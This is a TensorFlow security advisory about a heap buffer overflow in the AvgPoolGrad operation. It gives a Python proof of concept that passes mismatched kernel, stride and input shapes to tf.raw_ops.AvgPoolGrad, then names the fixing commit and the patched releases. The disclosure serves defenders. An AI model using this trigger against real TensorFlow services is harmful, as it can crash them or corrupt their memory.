TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Impact

```python

import os

os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'

import tensorflow as tf

print(tf.__version__)

with tf.device("CPU"):

ksize = [1, 40, 128, 1]

strides = [1, 128, 128, 30]

padding = "SAME"

data_format = "NHWC"

orig_input_shape = [11, 9, 78, 9]

grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)

res = tf.raw_ops.AvgPoolGrad(

ksize=ksize,

strides=strides,

padding=padding,

data_format=data_format,

orig_input_shape=orig_input_shape,

grad=grad,

)

`

Patches

We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

For more information

Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by <evn@google.com>